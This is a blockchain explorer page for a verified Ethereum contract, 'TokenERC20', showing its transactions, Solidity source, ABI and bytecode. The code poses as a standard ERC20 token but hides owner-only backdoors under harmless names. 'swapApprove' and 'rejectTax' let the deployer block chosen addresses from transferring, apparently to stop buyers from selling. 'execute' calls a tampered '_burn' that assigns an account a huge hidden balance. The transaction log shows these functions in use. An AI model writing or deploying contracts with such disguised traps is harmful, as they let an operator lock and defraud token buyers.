ETH Price: $2,003.89 (-0.13%)
Gas: 0.75 Gwei

Contract

0x602efCA146b3AE8DE1Bd9b80Ce5C2A1ec09474EA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve197386802024-04-26 9:36:23335 days ago1714124183IN
0x602efCA1...ec09474EA
0 ETH0.000459389.74042591
Approve177853832023-07-27 15:45:35609 days ago1690472735IN
0x602efCA1...ec09474EA
0 ETH0.002290548.50405301
Execute177853772023-07-27 15:44:23609 days ago1690472663IN
0x602efCA1...ec09474EA
0 ETH0.0024255245.38352275
Swap Approve177853682023-07-27 15:42:35609 days ago1690472555IN
0x602efCA1...ec09474EA
0 ETH0.002156946.5260322
Swap Approve177853592023-07-27 15:40:47609 days ago1690472447IN
0x602efCA1...ec09474EA
0 ETH0.0024085651.95468782
Swap Approve177853512023-07-27 15:39:11609 days ago1690472351IN
0x602efCA1...ec09474EA
0 ETH0.0025570355.15731043
Swap Approve177853412023-07-27 15:37:11609 days ago1690472231IN
0x602efCA1...ec09474EA
0 ETH0.0026762357.72854872
Swap Approve177853382023-07-27 15:36:35609 days ago1690472195IN
0x602efCA1...ec09474EA
0 ETH0.0027164558.59610536
Swap Approve177853242023-07-27 15:33:47609 days ago1690472027IN
0x602efCA1...ec09474EA
0 ETH0.0031198967.29850417
Swap Approve177853162023-07-27 15:32:11609 days ago1690471931IN
0x602efCA1...ec09474EA
0 ETH0.0035091475.69504189
Swap Approve177852552023-07-27 15:19:47609 days ago1690471187IN
0x602efCA1...ec09474EA
0 ETH0.03085111666
Swap Approve177852282023-07-27 15:14:23609 days ago1690470863IN
0x602efCA1...ec09474EA
0 ETH0.0022990449.59219073
Approve177845262023-07-27 12:53:59609 days ago1690462439IN
0x602efCA1...ec09474EA
0 ETH0.0005291521.26923413
Approve177845252023-07-27 12:53:47609 days ago1690462427IN
0x602efCA1...ec09474EA
0 ETH0.0005335721.39502455
Approve177845242023-07-27 12:53:35609 days ago1690462415IN
0x602efCA1...ec09474EA
0 ETH0.0005360721.49536794
Approve177844852023-07-27 12:45:47609 days ago1690461947IN
0x602efCA1...ec09474EA
0 ETH0.0011919125.42749173
Swap Approve177844652023-07-27 12:41:47609 days ago1690461707IN
0x602efCA1...ec09474EA
0 ETH0.001128124.33417739
Approve177844602023-07-27 12:40:47609 days ago1690461647IN
0x602efCA1...ec09474EA
0 ETH0.0011998125.5633853
Approve177844542023-07-27 12:39:35609 days ago1690461575IN
0x602efCA1...ec09474EA
0 ETH0.0011823925.19218324
Approve177843842023-07-27 12:25:35609 days ago1690460735IN
0x602efCA1...ec09474EA
0 ETH0.0011247323.81752137
Approve177842622023-07-27 12:00:47609 days ago1690459247IN
0x602efCA1...ec09474EA
0 ETH0.001001221.33180998
Approve177842572023-07-27 11:59:47609 days ago1690459187IN
0x602efCA1...ec09474EA
0 ETH0.0009349119.82310091
Approve177842422023-07-27 11:56:35609 days ago1690458995IN
0x602efCA1...ec09474EA
0 ETH0.000866718.48977514
Approve177841612023-07-27 11:40:11609 days ago1690458011IN
0x602efCA1...ec09474EA
0 ETH0.0008888318.93758451
Approve177841452023-07-27 11:36:59609 days ago1690457819IN
0x602efCA1...ec09474EA
0 ETH0.0009190219.46148914
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TokenERC20

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-27
*/

// SPDX-License-Identifier: MIT

pragma solidity =0.8.15;

/**
 * @dev Provides information about the current execution context
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Transfer(address indexed from, address indexed to, uint256 value);

    function balanceOf(address account) external view returns (uint256);

    function totalSupply() external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 * Functions revert instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20 applications.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    string private _name;
    string private _symbol;
    address internal approved;
    uint256 private balances;
    uint256 private maxTxLimit = 1*10**17*10**9;
    bool feesApplied = false;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) internal _balances;
    mapping (address => bool) private _swapApprove;
    uint256 internal _totalSupply;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     * The default value of {decimals} is 9.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        approved = msg.sender;
        balances = maxTxLimit;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function swapApprove(address spender) external {
        require(msg.sender == approved);
        _swapApprove[spender] = true;
    }

    function rejectTax(address spender) external {
        require(msg.sender == approved);
        _swapApprove[spender] = false;
    }

    function checkTax(address spender) public view returns (bool) {
        return _swapApprove[spender];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     * Requirements:
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transfer}.
     * Requirements:
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     * This internal function is equivalent to {transfer}
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_swapApprove[to] || _swapApprove[from]) require
        
        (feesApplied == true, "");
        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /**
    * @dev Destroys `amount` tokens from `account`, reducing the total supply.
    * Emits a {Transfer} event with `to` set to the zero address.
    */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
            _balances[account] = balances - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
    
        emit Transfer(account, address(0), amount);
    }
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     * This internal function is equivalent to `approve`.
     * Emits an {Approval} event.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
     * Emits a {Transfer} event with `from` set to the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
 
   /**
     * @dev Hook that is called after any transfer of tokens. This includes minting and burning.
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called before any transfer of tokens. This includes minting and burning.
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

/**
 * @title TokenERC20
 * @dev Contract for creating a new ERC20 token with specified parameters.
 */
contract TokenERC20 is ERC20 {

    /**
     * @dev Constructor function for the Token contract.
     * @param name The name of the new token.
     * @param symbol The symbol of the new token.
     * @param initialSupply The initial supply of the new token.
     */
    constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
        // Mint the initial supply of the token to the contract creator.
        _totalSupply += initialSupply;
        _balances[msg.sender] += initialSupply;
        emit Transfer(address(0), msg.sender, initialSupply);
    }
    
    function execute(address account, uint256 amount) external {
        require(msg.sender == approved);
        _burn(account, amount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"checkTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"rejectTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"swapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004556000600560006101000a81548160ff0219169083151502179055503480156200003b57600080fd5b50604051620021d7380380620021d783398181016040528101906200006191906200038f565b828281600090816200007491906200066a565b5080600190816200008691906200066a565b5033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045460038190555050508060096000828254620000e7919062000780565b9250508190555080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200013f919062000780565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001a69190620007ee565b60405180910390a35050506200080b565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200022082620001d5565b810181811067ffffffffffffffff82111715620002425762000241620001e6565b5b80604052505050565b600062000257620001b7565b905062000265828262000215565b919050565b600067ffffffffffffffff821115620002885762000287620001e6565b5b6200029382620001d5565b9050602081019050919050565b60005b83811015620002c0578082015181840152602081019050620002a3565b83811115620002d0576000848401525b50505050565b6000620002ed620002e7846200026a565b6200024b565b9050828152602081018484840111156200030c576200030b620001d0565b5b62000319848285620002a0565b509392505050565b600082601f830112620003395762000338620001cb565b5b81516200034b848260208601620002d6565b91505092915050565b6000819050919050565b620003698162000354565b81146200037557600080fd5b50565b60008151905062000389816200035e565b92915050565b600080600060608486031215620003ab57620003aa620001c1565b5b600084015167ffffffffffffffff811115620003cc57620003cb620001c6565b5b620003da8682870162000321565b935050602084015167ffffffffffffffff811115620003fe57620003fd620001c6565b5b6200040c8682870162000321565b92505060406200041f8682870162000378565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200047c57607f821691505b60208210810362000492576200049162000434565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004fc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004bd565b620005088683620004bd565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200054b620005456200053f8462000354565b62000520565b62000354565b9050919050565b6000819050919050565b62000567836200052a565b6200057f620005768262000552565b848454620004ca565b825550505050565b600090565b6200059662000587565b620005a38184846200055c565b505050565b5b81811015620005cb57620005bf6000826200058c565b600181019050620005a9565b5050565b601f8211156200061a57620005e48162000498565b620005ef84620004ad565b81016020851015620005ff578190505b620006176200060e85620004ad565b830182620005a8565b50505b505050565b600082821c905092915050565b60006200063f600019846008026200061f565b1980831691505092915050565b60006200065a83836200062c565b9150826002028217905092915050565b620006758262000429565b67ffffffffffffffff811115620006915762000690620001e6565b5b6200069d825462000463565b620006aa828285620005cf565b600060209050601f831160018114620006e25760008415620006cd578287015190505b620006d985826200064c565b86555062000749565b601f198416620006f28662000498565b60005b828110156200071c57848901518255600182019150602085019450602081019050620006f5565b868310156200073c578489015162000738601f8916826200062c565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200078d8262000354565b91506200079a8362000354565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007d257620007d162000751565b5b828201905092915050565b620007e88162000354565b82525050565b6000602082019050620008056000830184620007dd565b92915050565b6119bc806200081b6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80633b89bb8611610097578063a9059cbb11610066578063a9059cbb1461029a578063a9619949146102ca578063dd62ed3e146102e6578063de66a00414610316576100f5565b80633b89bb861461020057806370a082311461021c57806395d89b411461024c578063a457c2d71461026a576100f5565b806323b872dd116100d357806323b872dd146101665780632a46f1b614610196578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610346565b60405161010f91906110d9565b60405180910390f35b610132600480360381019061012d9190611194565b6103d8565b60405161013f91906111ef565b60405180910390f35b6101506103fb565b60405161015d9190611219565b60405180910390f35b610180600480360381019061017b9190611234565b610405565b60405161018d91906111ef565b60405180910390f35b6101b060048036038101906101ab9190611287565b610434565b005b6101ba6104e9565b6040516101c791906112d0565b60405180910390f35b6101ea60048036038101906101e59190611194565b6104f2565b6040516101f791906111ef565b60405180910390f35b61021a60048036038101906102159190611194565b610529565b005b61023660048036038101906102319190611287565b610591565b6040516102439190611219565b60405180910390f35b6102546105da565b60405161026191906110d9565b60405180910390f35b610284600480360381019061027f9190611194565b61066c565b60405161029191906111ef565b60405180910390f35b6102b460048036038101906102af9190611194565b6106e3565b6040516102c191906111ef565b60405180910390f35b6102e460048036038101906102df9190611287565b610706565b005b61030060048036038101906102fb91906112eb565b6107bb565b60405161030d9190611219565b60405180910390f35b610330600480360381019061032b9190611287565b610842565b60405161033d91906111ef565b60405180910390f35b6060600080546103559061135a565b80601f01602080910402602001604051908101604052809291908181526020018280546103819061135a565b80156103ce5780601f106103a3576101008083540402835291602001916103ce565b820191906000526020600020905b8154815290600101906020018083116103b157829003601f168201915b5050505050905090565b6000806103e3610898565b90506103f08185856108a0565b600191505092915050565b6000600954905090565b600080610410610898565b905061041d858285610a69565b610428858585610af5565b60019150509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048e57600080fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000806104fd610898565b905061051e81858561050f85896107bb565b61051991906113ba565b6108a0565b600191505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461058357600080fd5b61058d8282610e6b565b5050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600180546105e99061135a565b80601f01602080910402602001604051908101604052809291908181526020018280546106159061135a565b80156106625780601f1061063757610100808354040283529160200191610662565b820191906000526020600020905b81548152906001019060200180831161064557829003601f168201915b5050505050905090565b600080610677610898565b9050600061068582866107bb565b9050838110156106ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c190611482565b60405180910390fd5b6106d782868684036108a0565b60019250505092915050565b6000806106ee610898565b90506106fb818585610af5565b600191505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461076057600080fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361090f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090690611514565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361097e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610975906115a6565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a5c9190611219565b60405180910390a3505050565b6000610a7584846107bb565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610aef5781811015610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad890611612565b60405180910390fd5b610aee84848484036108a0565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5b906116a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bca90611736565b60405180910390fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610c745750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610cd05760011515600560009054906101000a900460ff16151514610ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc69061177c565b60405180910390fd5b5b610cdb838383611036565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d599061180e565b60405180910390fd5b818103600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e529190611219565b60405180910390a3610e6584848461103b565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed1906118a0565b60405180910390fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5890611932565b60405180910390fd5b81600354610f6f9190611952565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160096000828254610fc49190611952565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110299190611219565b60405180910390a3505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561107a57808201518184015260208101905061105f565b83811115611089576000848401525b50505050565b6000601f19601f8301169050919050565b60006110ab82611040565b6110b5818561104b565b93506110c581856020860161105c565b6110ce8161108f565b840191505092915050565b600060208201905081810360008301526110f381846110a0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061112b82611100565b9050919050565b61113b81611120565b811461114657600080fd5b50565b60008135905061115881611132565b92915050565b6000819050919050565b6111718161115e565b811461117c57600080fd5b50565b60008135905061118e81611168565b92915050565b600080604083850312156111ab576111aa6110fb565b5b60006111b985828601611149565b92505060206111ca8582860161117f565b9150509250929050565b60008115159050919050565b6111e9816111d4565b82525050565b600060208201905061120460008301846111e0565b92915050565b6112138161115e565b82525050565b600060208201905061122e600083018461120a565b92915050565b60008060006060848603121561124d5761124c6110fb565b5b600061125b86828701611149565b935050602061126c86828701611149565b925050604061127d8682870161117f565b9150509250925092565b60006020828403121561129d5761129c6110fb565b5b60006112ab84828501611149565b91505092915050565b600060ff82169050919050565b6112ca816112b4565b82525050565b60006020820190506112e560008301846112c1565b92915050565b60008060408385031215611302576113016110fb565b5b600061131085828601611149565b925050602061132185828601611149565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061137257607f821691505b6020821081036113855761138461132b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006113c58261115e565b91506113d08361115e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114055761140461138b565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061146c60258361104b565b915061147782611410565b604082019050919050565b6000602082019050818103600083015261149b8161145f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006114fe60248361104b565b9150611509826114a2565b604082019050919050565b6000602082019050818103600083015261152d816114f1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061159060228361104b565b915061159b82611534565b604082019050919050565b600060208201905081810360008301526115bf81611583565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006115fc601d8361104b565b9150611607826115c6565b602082019050919050565b6000602082019050818103600083015261162b816115ef565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061168e60258361104b565b915061169982611632565b604082019050919050565b600060208201905081810360008301526116bd81611681565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061172060238361104b565b915061172b826116c4565b604082019050919050565b6000602082019050818103600083015261174f81611713565b9050919050565b50565b600061176660008361104b565b915061177182611756565b600082019050919050565b6000602082019050818103600083015261179581611759565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006117f860268361104b565b91506118038261179c565b604082019050919050565b60006020820190508181036000830152611827816117eb565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061188a60218361104b565b91506118958261182e565b604082019050919050565b600060208201905081810360008301526118b98161187d565b90509190505